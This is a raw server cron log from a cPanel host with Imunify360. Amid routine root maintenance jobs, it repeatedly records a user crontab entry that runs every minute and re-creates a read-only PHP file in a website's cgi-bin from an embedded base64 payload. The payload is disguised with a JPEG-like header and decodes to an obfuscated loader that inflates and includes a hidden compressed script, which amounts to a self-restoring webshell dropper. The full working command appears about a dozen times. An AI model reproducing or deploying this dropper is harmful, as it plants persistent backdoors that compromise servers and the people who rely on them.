Sep  8 18:15:01 server CROND[3462]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 18:15:01 server CROND[3458]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  8 18:15:01 server CROND[3461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:15:01 server CROND[3459]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 18:16:01 server CROND[4327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:16:01 server CROND[4328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:16:01 server CROND[4329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:17:01 server CROND[4778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:17:01 server CROND[4779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:17:01 server CROND[4780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:18:01 server CROND[5158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:18:01 server CROND[5159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:18:01 server CROND[5160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:19:01 server CROND[5590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:19:01 server CROND[5591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:19:01 server CROND[5592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:20:01 server CROND[5983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 18:20:01 server CROND[5984]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 18:20:01 server CROND[5987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:20:01 server CROND[5993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:20:01 server CROND[5996]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 18:20:01 server CROND[5992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:20:01 server CROND[5995]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 18:20:01 server CROND[5998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:20:01 server CROND[5994]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:21:01 server CROND[6917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:21:01 server CROND[6918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:21:01 server CROND[6919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:22:01 server CROND[7325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:22:01 server CROND[7326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:22:01 server CROND[7324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:23:01 server CROND[7711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:23:01 server CROND[7712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:23:01 server CROND[7713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:24:01 server CROND[8097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:24:01 server CROND[8098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:24:01 server CROND[8099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:25:01 server CROND[8506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:25:01 server CROND[8508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:25:01 server CROND[8510]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 18:25:01 server CROND[8513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:25:01 server CROND[8509]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 18:25:01 server CROND[8511]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 18:25:01 server CROND[8512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:25:01 server CROND[8514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:26:01 server CROND[9579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:26:01 server CROND[9580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:26:01 server CROND[9581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:27:01 server CROND[10103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:27:01 server CROND[10104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:27:01 server CROND[10105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
